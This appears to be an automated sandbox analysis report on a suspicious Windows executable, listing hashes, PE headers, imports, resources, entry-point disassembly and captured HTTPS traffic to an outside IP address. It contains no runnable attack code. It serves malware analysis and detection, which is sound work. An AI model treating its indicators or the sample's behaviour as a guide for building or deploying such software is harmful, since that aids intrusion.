SSDEEP:	6144:YIXfpi67eLPU9skLmb0b4+WSPKaJG8nAgejZMMhA2gX4WABl0uNndwBCswSbg:NXD94+WlLZMM6YFH1+g
MD5:	163E86167909C94C7A05D3F00708B285
SHA1:	CEC2AED20A961428BD28D3513D410DF60A796EE5
SHA-256:	5E5EFC1C0D6640B37814C396D2ED2CF1D49F9D8551B68ECF857F05652B3275A3
SHA-512:	82B70994A6BA5212208D60165A32F993AB8BCC82DD6A66CF396D7B7F5C27B452AC634EB1779B9DA4BE4258134C51AC4B792769A8FD31568429355BB165547646
Malicious:	false
Reputation:	low
Preview:	regf6...6....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm^..p..................................................................................................................................................................................................................................................................................................................................................D........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.454325854562582
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	asbpKOngY0.exe
File size:	370'176 bytes
MD5:	ecd47621cce65ec0aee0e8599a308a3b
SHA1:	963eec3932fef349eb0bc576692bf86c231f0be1
SHA256:	b870238bf1f561fcbb6b3daf07cec73de2f3d27a942727d33ad0754ca75c85d9
SHA512:	957631a35f63593050f5444e8ddadb8890afb952379d0b2394f66d28511301cc17710f54a2552c44c9197acd51889d7785abaa360678db77f436421d45eee083
SSDEEP:	6144:M75QnQLBPbrut1nY24Pv8VvMpS7eQyfOepzuvYij+J:MNQnQaVYpPv8VmQSGe5
TLSH:	CE74E0113EE99C32D2574570892BCAE05A2FB8A1BE68457B7743177FCE303A1D632726
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........................S.......E.......B......)................L.......R.......W.....Rich............................PE..L....Jsd...

File Icon


Icon Hash:	67276767c3570667

Static PE Info

General

Entrypoint:	0x4015b0
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x64734A1C [Sun May 28 12:33:32 2023 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	d10268a82f0ec0b09c4d5e18431c41e9

Entrypoint Preview

Instruction
call 00007FB7B8B43D30h
jmp 00007FB7B8B4000Dh
int3
int3
int3
int3
int3
int3
mov ecx, dword ptr [esp+04h]
test ecx, 00000003h
je 00007FB7B8B401B6h
mov al, byte ptr [ecx]
add ecx, 01h
test al, al
je 00007FB7B8B401E0h
test ecx, 00000003h
jne 00007FB7B8B40181h
add eax, 00000000h
lea esp, dword ptr [esp+00000000h]
lea esp, dword ptr [esp+00000000h]
mov eax, dword ptr [ecx]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, FFFFFFFFh
xor eax, edx
add ecx, 04h
test eax, 81010100h
je 00007FB7B8B4017Ah
mov eax, dword ptr [ecx-04h]
test al, al
je 00007FB7B8B401C4h
test ah, ah
je 00007FB7B8B401B6h
test eax, 00FF0000h
je 00007FB7B8B401A5h
test eax, FF000000h
je 00007FB7B8B40194h
jmp 00007FB7B8B4015Fh
lea eax, dword ptr [ecx-01h]
mov ecx, dword ptr [esp+04h]
sub eax, ecx
ret
lea eax, dword ptr [ecx-02h]
mov ecx, dword ptr [esp+04h]
sub eax, ecx
ret
lea eax, dword ptr [ecx-03h]
mov ecx, dword ptr [esp+04h]
sub eax, ecx
ret
lea eax, dword ptr [ecx-04h]
mov ecx, dword ptr [esp+04h]
sub eax, ecx
ret
mov edi, edi
push ebp
mov ebp, esp
sub esp, 20h
mov eax, dword ptr [ebp+08h]
push esi
push edi
push 00000008h
pop ecx
mov esi, 0040C20Ch
lea edi, dword ptr [ebp-20h]
rep movsd
mov dword ptr [ebp-08h], eax
mov eax, dword ptr [ebp+0Ch]
pop edi
mov dword ptr [ebp-04h], eax
pop esi
test eax, eax
je 00007FB7B8B4019Eh
test byte ptr [eax], 00000008h

Rich Headers

Programming Language:

[ASM] VS2008 build 21022
[ C ] VS2008 build 21022
[C++] VS2008 build 21022
[IMP] VS2005 build 50727
[RES] VS2008 build 21022
[LNK] VS2008 build 21022

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x4ac5c	0x3c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x282f000	0xdc88	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0xc000	0x190	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xa59d	0xa600	90e2a572240093434b52bcdb6ba388ff	False	0.6182464231927711	data	6.5776714979699475	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0xc000	0x3f570	0x3f600	4cc8ecc466beece4744e628a4d5c058a	False	0.7011102379191322	data	6.528218010302684	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x4c000	0x27e22c8	0x2800	8ad6a2a23a06ac7721c08356046be5a2	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x282f000	0xdc88	0xde00	c57cab9538aa03ebb2343be184742043	False	0.5005630630630631	data	5.2776831908606	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
DOTOGACORIKEXECON	0x283b568	0x476	ASCII text, with very long lines (1142), with no line terminators	Turkish	Turkey	0.6260945709281961
RT_ICON	0x282f5b0	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Turkish	Turkey	0.43523454157782515
RT_ICON	0x2830458	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Turkish	Turkey	0.569043321299639
RT_ICON	0x2830d00	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Turkish	Turkey	0.6336405529953917
RT_ICON	0x28313c8	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Turkish	Turkey	0.6885838150289018
RT_ICON	0x2831930	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Turkish	Turkey	0.5261410788381743
RT_ICON	0x2833ed8	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	Turkish	Turkey	0.5975409836065574
RT_ICON	0x2834860	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Turkish	Turkey	0.625886524822695
RT_ICON	0x2834d30	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	Turkish	Turkey	0.44429637526652455
RT_ICON	0x2835bd8	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	Turkish	Turkey	0.5640794223826715
RT_ICON	0x2836480	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	Turkish	Turkey	0.6065668202764977
RT_ICON	0x2836b48	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	Turkish	Turkey	0.6690751445086706
RT_ICON	0x28370b0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	Turkish	Turkey	0.3886929460580913
RT_ICON	0x2839658	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	Turkish	Turkey	0.41862101313320826
RT_ICON	0x283a700	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	Turkish	Turkey	0.4430327868852459
RT_ICON	0x283b088	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	Turkish	Turkey	0.44148936170212766
RT_STRING	0x283bbe8	0x58c	data			0.44084507042253523
RT_STRING	0x283c178	0x86	data			0.6417910447761194
RT_STRING	0x283c200	0x65a	data			0.42927429274292744
RT_STRING	0x283c860	0x1ea	data			0.48775510204081635
RT_STRING	0x283ca50	0x108	data			0.5454545454545454
RT_STRING	0x283cb58	0x12a	data			0.5134228187919463
RT_ACCELERATOR	0x283b9e0	0x28	data			1.0
RT_GROUP_ICON	0x2834cc8	0x68	data	Turkish	Turkey	0.7115384615384616
RT_GROUP_ICON	0x283b4f0	0x76	data	Turkish	Turkey	0.6779661016949152
RT_VERSION	0x283ba08	0x1e0	data			0.5666666666666667

Imports

DLL

Import

KERNEL32.dll

GetLocaleInfoA, GetConsoleAliasExesLengthA, SetFirmwareEnvironmentVariableA, GetComputerNameW, UnlockFile, GetModuleHandleW, GetConsoleAliasesLengthA, GetDateFormatA, SetCommState, GlobalAlloc, LoadLibraryW, IsValidLocale, HeapDestroy, FindNextVolumeW, IsBadWritePtr, GlobalUnfix, EnumCalendarInfoA, GetProcessHeaps, LoadLibraryA, SetCalendarInfoW, SetConsoleDisplayMode, SetCurrentDirectoryW, WaitForMultipleObjects, GetModuleFileNameA, SetConsoleTitleW, FreeEnvironmentStringsW, BuildCommDCBA, VirtualProtect, GetCurrentDirectoryA, FindAtomW, SetFileAttributesW, GetVolumeInformationW, LocalFileTimeToFileTime, GetProcAddress, GetFileSize, GetCommandLineA, GetStartupInfoA, RaiseException, RtlUnwind, TerminateProcess, GetCurrentProcess, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, HeapAlloc, GetLastError, HeapFree, EnterCriticalSection, LeaveCriticalSection, Sleep, ExitProcess, WriteFile, GetStdHandle, FreeEnvironmentStringsA, GetEnvironmentStrings, WideCharToMultiByte, GetEnvironmentStringsW, SetHandleCount, GetFileType, DeleteCriticalSection, TlsGetValue, TlsAlloc, TlsSetValue, TlsFree, InterlockedIncrement, SetLastError, GetCurrentThreadId, InterlockedDecrement, HeapCreate, VirtualFree, QueryPerformanceCounter, GetTickCount, GetCurrentProcessId, GetSystemTimeAsFileTime, SetFilePointer, GetConsoleCP, GetConsoleMode, GetCPInfo, GetACP, GetOEMCP, IsValidCodePage, VirtualAlloc, HeapReAlloc, HeapSize, InitializeCriticalSectionAndSpinCount, SetStdHandle, WriteConsoleA, GetConsoleOutputCP, WriteConsoleW, MultiByteToWideChar, LCMapStringA, LCMapStringW, GetStringTypeA, GetStringTypeW, FlushFileBuffers, CreateFileA, CloseHandle

ADVAPI32.dll

ReadEventLogA

Possible Origin

Language of compilation system	Country where language is spoken	Map
Turkish	Turkey

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 22, 2024 21:43:59.438770056 CEST	49730	443	192.168.2.4	172.67.163.209
Apr 22, 2024 21:43:59.438821077 CEST	443	49730	172.67.163.209	192.168.2.4
Apr 22, 2024 21:43:59.438944101 CEST	49730	443	192.168.2.4	172.67.163.209
Apr 22, 2024 21:43:59.442482948 CEST	49730	443	192.168.2.4	172.67.163.209
Apr 22, 2024 21:43:59.442507982 CEST	443	49730	172.67.163.209	192.168.2.4
Apr 22, 2024 21:43:59.683053017 CEST	443	49730	172.67.163.209	192.168.2.4
Apr 22, 2024 21:43:59.683257103 CEST	49730	443	192.168.2.4	172.67.163.209
Apr 22, 2024 21:43:59.689366102 CEST	49730	443	192.168.2.4	172.67.163.209
Apr 22, 2024 21:43:59.689388990 CEST	443	49730	172.67.163.209	192.168.2.4
Apr 22, 2024 21:43:59.689778090 CEST	443	49730	172.67.163.209	192.168.2.4
Apr 22, 2024 21:43:59.739311934 CEST	49730	443	192.168.2.4	172.67.163.209
Apr 22, 2024 21:43:59.770998001 CEST	49730	443	192.168.2.4	172.67.163.209
Apr 22, 2024 21:43:59.771038055 CEST	49730	443	192.168.2.4	172.67.163.209
Apr 22, 2024 21:43:59.771259069 CEST	443	49730	172.67.163.209	192.168.2.4
Apr 22, 2024 21:44:00.201858997 CEST	443	49730	172.67.163.209	192.168.2.4
Apr 22, 2024 21:44:00.202028990 CEST	443	49730	172.67.163.209	192.168.2.4
Apr 22, 2024 21:44:00.202109098 CEST	49730	443	192.168.2.4	172.67.163.209
Apr 22, 2024 21:44:00.204443932 CEST	49730	443	192.168.2.4	172.67.163.209
Apr 22, 2024 21:44:00.204467058 CEST	443	49730	172.67.163.209	192.168.2.4
Apr 22, 2024 21:44:00.210033894 CEST	49731	443	192.168.2.4	172.67.163.209
Apr 22, 2024 21:44:00.210114002 CEST	443	49731	172.67.163.209	192.168.2.4
Apr 22, 2024 21:44:00.210236073 CEST	49731	443	192.168.2.4	172.67.163.209
Apr 22, 2024 21:44:00.211579084 CEST	49731	443	192.168.2.4	172.67.163.209
Apr 22, 2024 21:44:00.211616039 CEST	443	49731	172.67.163.209	192.168.2.4
Apr 22, 2024 21:44:00.433690071 CEST	443	49731	172.67.163.209	192.168.2.4
Apr 22, 2024 21:44:00.433823109 CEST	49731	443	192.168.2.4	172.67.163.209
Apr 22, 2024 21:44:00.437838078 CEST	49731	443	192.168.2.4	172.67.163.209
Apr 22, 2024 21:44:00.437865019 CEST	443	49731	172.67.163.209	192.168.2.4
Apr 22, 2024 21:44:00.438504934 CEST	443	49731	172.67.163.209	192.168.2.4
Apr 22, 2024 21:44:00.440026999 CEST	49731	443	192.168.2.4	172.67.163.209
Apr 22, 2024 21:44:00.440063953 CEST	49731	443	192.168.2.4	172.67.163.209
Apr 22, 2024 21:44:00.440124989 CEST	443	49731	172.67.163.209	192.168.2.4
Apr 22, 2024 21:44:00.964030027 CEST	443	49731	172.67.163.209	192.168.2.4
Apr 22, 2024 21:44:00.964066029 CEST	443	49731	172.67.163.209	192.168.2.4
Apr 22, 2024 21:44:00.964090109 CEST	443	49731	172.67.163.209	192.168.2.4
Apr 22, 2024 21:44:00.964118004 CEST	443	49731	172.67.163.209	192.168.2.4
Apr 22, 2024 21:44:00.964148998 CEST	443	49731	172.67.163.209	192.168.2.4
Apr 22, 2024 21:44:00.964188099 CEST	49731	443	192.168.2.4	172.67.163.209
Apr 22, 2024 21:44:00.964189053 CEST	49731	443	192.168.2.4	172.67.163.209
Apr 22, 2024 21:44:00.964195967 CEST	443	49731	172.67.163.209	192.168.2.4
Apr 22, 2024 21:44:00.964271069 CEST	443	49731	172.67.163.209	192.168.2.4
Apr 22, 2024 21:44:00.964327097 CEST	49731	443	192.168.2.4	172.67.163.209
Apr 22, 2024 21:44:00.964327097 CEST	49731	443	192.168.2.4	172.67.163.209
Apr 22, 2024 21:44:00.964404106 CEST	443	49731	172.67.163.209	192.168.2.4
Apr 22, 2024 21:44:00.964442015 CEST	443	49731	172.67.163.209	192.168.2.4
Apr 22, 2024 21:44:00.964459896 CEST	443	49731	172.67.163.209	192.168.2.4
Apr 22, 2024 21:44:00.964483976 CEST	443	49731	172.67.163.209	192.168.2.4
Apr 22, 2024 21:44:00.964514017 CEST	49731	443	192.168.2.4	172.67.163.209
Apr 22, 2024 21:44:00.964549065 CEST	443	49731	172.67.163.209	192.168.2.4
Apr 22, 2024 21:44:00.964576960 CEST	49731	443	192.168.2.4	172.67.163.209
Apr 22, 2024 21:44:00.964579105 CEST	443	49731	172.67.163.209	192.168.2.4
Apr 22, 2024 21:44:00.964633942 CEST	49731	443	192.168.2.4	172.67.163.209
Apr 22, 2024 21:44:00.965414047 CEST	49731	443	192.168.2.4	172.67.163.209
Apr 22, 2024 21:44:00.965464115 CEST	443	49731	172.67.163.209	192.168.2.4
Apr 22, 2024 21:44:00.965492010 CEST	49731	443	192.168.2.4	172.67.163.209
Apr 22, 2024 21:44:00.965504885 CEST	443	49731	172.67.163.209	192.168.2.4
Apr 22, 2024 21:44:01.095587015 CEST	49732	443	192.168.2.4	172.67.163.209
Apr 22, 2024 21:44:01.095657110 CEST	443	49732	172.67.163.209	192.168.2.4
Apr 22, 2024 21:44:01.095757008 CEST	49732	443	192.168.2.4	172.67.163.209
Apr 22, 2024 21:44:01.096044064 CEST	49732	443	192.168.2.4	172.67.163.209
Apr 22, 2024 21:44:01.096075058 CEST	443	49732	172.67.163.209	192.168.2.4
Apr 22, 2024 21:44:01.317071915 CEST	443	49732	172.67.163.209	192.168.2.4
Apr 22, 2024 21:44:01.317282915 CEST	49732	443	192.168.2.4	172.67.163.209
Apr 22, 2024 21:44:01.318902969 CEST	49732	443	192.168.2.4	172.67.163.209
Apr 22, 2024 21:44:01.318933964 CEST	443	49732	172.67.163.209	192.168.2.4
Apr 22, 2024 21:44:01.319155931 CEST	443	49732	172.67.163.209	192.168.2.4
Apr 22, 2024 21:44:01.320260048 CEST	49732	443	192.168.2.4	172.67.163.209
Apr 22, 2024 21:44:01.320449114 CEST	49732	443	192.168.2.4	172.67.163.209
Apr 22, 2024 21:44:01.320488930 CEST	443	49732	172.67.163.209	192.168.2.4
Apr 22, 2024 21:44:01.320569038 CEST	49732	443	192.168.2.4	172.67.163.209
Apr 22, 2024 21:44:01.320580959 CEST	443	49732	172.67.163.209	192.168.2.4
Apr 22, 2024 21:44:01.832132101 CEST	443	49732	172.67.163.209	192.168.2.4
Apr 22, 2024 21:44:01.832232952 CEST	443	49732	172.67.163.209	192.168.2.4
Apr 22, 2024 21:44:01.832387924 CEST	49732	443	192.168.2.4	172.67.163.209
Apr 22, 2024 21:44:01.832622051 CEST	49732	443	192.168.2.4	172.67.163.209
Apr 22, 2024 21:44:01.832659006 CEST	443	49732	172.67.163.209	192.168.2.4
Apr 22, 2024 21:44:01.938793898 CEST	49733	443	192.168.2.4	172.67.163.209
Apr 22, 2024 21:44:01.938844919 CEST	443	49733	172.67.163.209	192.168.2.4
Apr 22, 2024 21:44:01.938949108 CEST	49733	443	192.168.2.4	172.67.163.209
Apr 22, 2024 21:44:01.939368010 CEST	49733	443	192.168.2.4	172.67.163.209
Apr 22, 2024 21:44:01.939384937 CEST	443	49733	172.67.163.209	192.168.2.4
Apr 22, 2024 21:44:02.157304049 CEST	443	49733	172.67.163.209	192.168.2.4
Apr 22, 2024 21:44:02.157421112 CEST	49733	443	192.168.2.4	172.67.163.209
Apr 22, 2024 21:44:02.159120083 CEST	49733	443	192.168.2.4	172.67.163.209
Apr 22, 2024 21:44:02.159138918 CEST	443	49733	172.67.163.209	192.168.2.4
Apr 22, 2024 21:44:02.159385920 CEST	443	49733	172.67.163.209	192.168.2.4
Apr 22, 2024 21:44:02.161006927 CEST	49733	443	192.168.2.4	172.67.163.209
Apr 22, 2024 21:44:02.161138058 CEST	49733	443	192.168.2.4	172.67.163.209
Apr 22, 2024 21:44:02.161164045 CEST	443	49733	172.67.163.209	192.168.2.4
Apr 22, 2024 21:44:02.658265114 CEST	443	49733	172.67.163.209	192.168.2.4
Apr 22, 2024 21:44:02.658371925 CEST	443	49733	172.67.163.209	192.168.2.4
Apr 22, 2024 21:44:02.658452034 CEST	49733	443	192.168.2.4	172.67.163.209
Apr 22, 2024 21:44:02.671809912 CEST	49733	443	192.168.2.4	172.67.163.209
Apr 22, 2024 21:44:02.671835899 CEST	443	49733	172.67.163.209	192.168.2.4
Apr 22, 2024 21:44:02.887902975 CEST	49734	443	192.168.2.4	172.67.163.209
Apr 22, 2024 21:44:02.887953997 CEST	443	49734	172.67.163.209	192.168.2.4
Apr 22, 2024 21:44:02.888051987 CEST	49734	443	192.168.2.4	172.67.163.209
Apr 22, 2024 21:44:02.888406038 CEST	49734	443	192.168.2.4	172.67.163.209
Apr 22, 2024 21:44:02.888423920 CEST	443	49734	172.67.163.209	192.168.2.4
Apr 22, 2024 21:44:03.115166903 CEST	443	49734	172.67.163.209	192.168.2.4
Apr 22, 2024 21:44:03.115281105 CEST	49734	443	192.168.2.4	172.67.163.209
Apr 22, 2024 21:44:03.116949081 CEST	49734	443	192.168.2.4	172.67.163.209
Apr 22, 2024 21:44:03.116976976 CEST	443	49734	172.67.163.209	192.168.2.4
Apr 22, 2024 21:44:03.124077082 CEST	443	49734	172.67.163.209	192.168.2.4
Apr 22, 2024 21:44:03.125710011 CEST	49734	443	192.168.2.4	172.67.163.209
Apr 22, 2024 21:44:03.125863075 CEST	49734	443	192.168.2.4	172.67.163.209
Apr 22, 2024 21:44:03.127123117 CEST	443	49734	172.67.163.209	192.168.2.4
Apr 22, 2024 21:44:03.127218008 CEST	49734	443	192.168.2.4	172.67.163.209
Apr 22, 2024 21:44:03.127237082 CEST	443	49734	172.67.163.209	192.168.2.4
Apr 22, 2024 21:44:03.690485001 CEST	443	49734	172.67.163.209	192.168.2.4
Apr 22, 2024 21:44:03.690613985 CEST	443	49734	172.67.163.209	192.168.2.4
Apr 22, 2024 21:44:03.690706015 CEST	49734	443	192.168.2.4	172.67.163.209
Apr 22, 2024 21:44:03.690826893 CEST	49734	443	192.168.2.4	172.67.163.209
Apr 22, 2024 21:44:03.690871000 CEST	443	49734	172.67.163.209	192.168.2.4
Apr 22, 2024 21:44:03.890683889 CEST	49735	443	192.168.2.4	172.67.163.209
Apr 22, 2024 21:44:03.890728951 CEST	443	49735	172.67.163.209	192.168.2.4
Apr 22, 2024 21:44:03.890810966 CEST	49735	443	192.168.2.4	172.67.163.209
Apr 22, 2024 21:44:03.891185999 CEST	49735	443	192.168.2.4	172.67.163.209
Apr 22, 2024 21:44:03.891202927 CEST	443	49735	172.67.163.209	192.168.2.4
Apr 22, 2024 21:44:04.114028931 CEST	443	49735	172.67.163.209	192.168.2.4
Apr 22, 2024 21:44:04.114118099 CEST	49735	443	192.168.2.4	172.67.163.209
Apr 22, 2024 21:44:04.120371103 CEST	49735	443	192.168.2.4	172.67.163.209
Apr 22, 2024 21:44:04.120394945 CEST	443	49735	172.67.163.209	192.168.2.4
Apr 22, 2024 21:44:04.120604992 CEST	443	49735	172.67.163.209	192.168.2.4
Apr 22, 2024 21:44:04.122473001 CEST	49735	443	192.168.2.4	172.67.163.209
Apr 22, 2024 21:44:04.122698069 CEST	49735	443	192.168.2.4	172.67.163.209
Apr 22, 2024 21:44:04.122736931 CEST	443	49735	172.67.163.209	192.168.2.4
Apr 22, 2024 21:44:04.636348963 CEST	443	49735	172.67.163.209	192.168.2.4
Apr 22, 2024 21:44:04.636445999 CEST	443	49735	172.67.163.209	192.168.2.4
Apr 22, 2024 21:44:04.636512995 CEST	49735	443	192.168.2.4	172.67.163.209
Apr 22, 2024 21:44:04.636702061 CEST	49735	443	192.168.2.4	172.67.163.209
Apr 22, 2024 21:44:04.636725903 CEST	443	49735	172.67.163.209	192.168.2.4
Apr 22, 2024 21:44:04.775796890 CEST	49736	443	192.168.2.4	172.67.163.209
Apr 22, 2024 21:44:04.775868893 CEST	443	49736	172.67.163.209	192.168.2.4
Apr 22, 2024 21:44:04.775944948 CEST	49736	443	192.168.2.4	172.67.163.209
Apr 22, 2024 21:44:04.776581049 CEST	49736	443	192.168.2.4	172.67.163.209
Apr 22, 2024 21:44:04.776607037 CEST	443	49736	172.67.163.209	192.168.2.4
Apr 22, 2024 21:44:05.003185034 CEST	443	49736	172.67.163.209	192.168.2.4
Apr 22, 2024 21:44:05.003331900 CEST	49736	443	192.168.2.4	172.67.163.209
Apr 22, 2024 21:44:05.004673958 CEST	49736	443	192.168.2.4	172.67.163.209
Apr 22, 2024 21:44:05.004698992 CEST	443	49736	172.67.163.209	192.168.2.4
Apr 22, 2024 21:44:05.007378101 CEST	443	49736	172.67.163.209	192.168.2.4
Apr 22, 2024 21:44:05.009021044 CEST	49736	443	192.168.2.4	172.67.163.209
Apr 22, 2024 21:44:05.009145975 CEST	49736	443	192.168.2.4	172.67.163.209
Apr 22, 2024 21:44:05.009157896 CEST	443	49736	172.67.163.209	192.168.2.4
Apr 22, 2024 21:44:05.500557899 CEST	443	49736	172.67.163.209	192.168.2.4
Apr 22, 2024 21:44:05.500678062 CEST	443	49736	172.67.163.209	192.168.2.4
Apr 22, 2024 21:44:05.500781059 CEST	49736	443	192.168.2.4	172.67.163.209
Apr 22, 2024 21:44:05.500935078 CEST	49736	443	192.168.2.4	172.67.163.209
Apr 22, 2024 21:44:05.500976086 CEST	443	49736	172.67.163.209	192.168.2.4
Apr 22, 2024 21:44:06.131881952 CEST	49737	443	192.168.2.4	172.67.163.209
Apr 22, 2024 21:44:06.131936073 CEST	443	49737	172.67.163.209	192.168.2.4
Apr 22, 2024 21:44:06.132006884 CEST	49737	443	192.168.2.4	172.67.163.209
Apr 22, 2024 21:44:06.132302999 CEST	49737	443	192.168.2.4	172.67.163.209
Apr 22, 2024 21:44:06.132318974 CEST	443	49737	172.67.163.209	192.168.2.4
Apr 22, 2024 21:44:06.351103067 CEST	443	49737	172.67.163.209	192.168.2.4
Apr 22, 2024 21:44:06.351223946 CEST	49737	443	192.168.2.4	172.67.163.209
Apr 22, 2024 21:44:06.352441072 CEST	49737	443	192.168.2.4	172.67.163.209
Apr 22, 2024 21:44:06.352453947 CEST	443	49737	172.67.163.209	192.168.2.4
Apr 22, 2024 21:44:06.352782965 CEST	443	49737	172.67.163.209	192.168.2.4
Apr 22, 2024 21:44:06.353938103 CEST	49737	443	192.168.2.4	172.67.163.209
Apr 22, 2024 21:44:06.354671001 CEST	49737	443	192.168.2.4	172.67.163.209
Apr 22, 2024 21:44:06.354703903 CEST	443	49737	172.67.163.209	192.168.2.4
Apr 22, 2024 21:44:06.354789972 CEST	49737	443	192.168.2.4	172.67.163.209
Apr 22, 2024 21:44:06.354816914 CEST	443	49737	172.67.163.209	192.168.2.4
Apr 22, 2024 21:44:06.354916096 CEST	49737	443	192.168.2.4	172.67.163.209
Apr 22, 2024 21:44:06.354981899 CEST	443	49737	172.67.163.209	192.168.2.4
Apr 22, 2024 21:44:06.355104923 CEST	49737	443	192.168.2.4	172.67.163.209
Apr 22, 2024 21:44:06.355122089 CEST	443	49737	172.67.163.209	192.168.2.4
Apr 22, 2024 21:44:06.355257034 CEST	49737	443	192.168.2.4	172.67.163.209
Apr 22, 2024 21:44:06.355283976 CEST	443	49737	172.67.163.209	192.168.2.4
Apr 22, 2024 21:44:06.355422974 CEST	49737	443	192.168.2.4	172.67.163.209
Apr 22, 2024 21:44:06.355438948 CEST	443	49737	172.67.163.209	192.168.2.4
Apr 22, 2024 21:44:06.355453014 CEST	49737	443	192.168.2.4	172.67.163.209
Apr 22, 2024 21:44:06.355467081 CEST	443	49737	172.67.163.209	192.168.2.4
Apr 22, 2024 21:44:06.355591059 CEST	49737	443	192.168.2.4	172.67.163.209
Apr 22, 2024 21:44:06.355618000 CEST	49737	443	192.168.2.4	172.67.163.209
Apr 22, 2024 21:44:06.396131039 CEST	443	49737	172.67.163.209	192.168.2.4
Apr 22, 2024 21:44:06.396358967 CEST	49737	443	192.168.2.4	172.67.163.209
Apr 22, 2024 21:44:06.396398067 CEST	49737	443	192.168.2.4	172.67.163.209
Apr 22, 2024 21:44:06.396416903 CEST	49737	443	192.168.2.4	172.67.163.209
Apr 22, 2024 21:44:06.444120884 CEST	443	49737	172.67.163.209	192.168.2.4
Apr 22, 2024 21:44:06.444299936 CEST	49737	443	192.168.2.4	172.67.163.209
Apr 22, 2024 21:44:06.444350958 CEST	49737	443	192.168.2.4	172.67.163.209
Apr 22, 2024 21:44:06.488116980 CEST	443	49737	172.67.163.209	192.168.2.4
Apr 22, 2024 21:44:06.488250971 CEST	49737	443	192.168.2.4	172.67.163.209
Apr 22, 2024 21:44:06.536119938 CEST	443	49737	172.67.163.209	192.168.2.4
Apr 22, 2024 21:44:06.563950062 CEST	443	49737	172.67.163.209	192.168.2.4
Apr 22, 2024 21:44:06.564064026 CEST	49737	443	192.168.2.4	172.67.163.209
Apr 22, 2024 21:44:06.564088106 CEST	443	49737	172.67.163.209	192.168.2.4
Apr 22, 2024 21:44:06.668507099 CEST	443	49737	172.67.163.209	192.168.2.4
Apr 22, 2024 21:44:07.909370899 CEST	443	49737	172.67.163.209	192.168.2.4
Apr 22, 2024 21:44:07.909507036 CEST	443	49737	172.67.163.209	192.168.2.4
Apr 22, 2024 21:44:07.909673929 CEST	49737	443	192.168.2.4	172.67.163.209
Apr 22, 2024 21:44:07.910183907 CEST	49737	443	192.168.2.4	172.67.163.209
Apr 22, 2024 21:44:07.910208941 CEST	443	49737	172.67.163.209	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 22, 2024 21:43:59.292994976 CEST	59658	53	192.168.2.4	1.1.1.1
Apr 22, 2024 21:43:59.431688070 CEST	53	59658	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
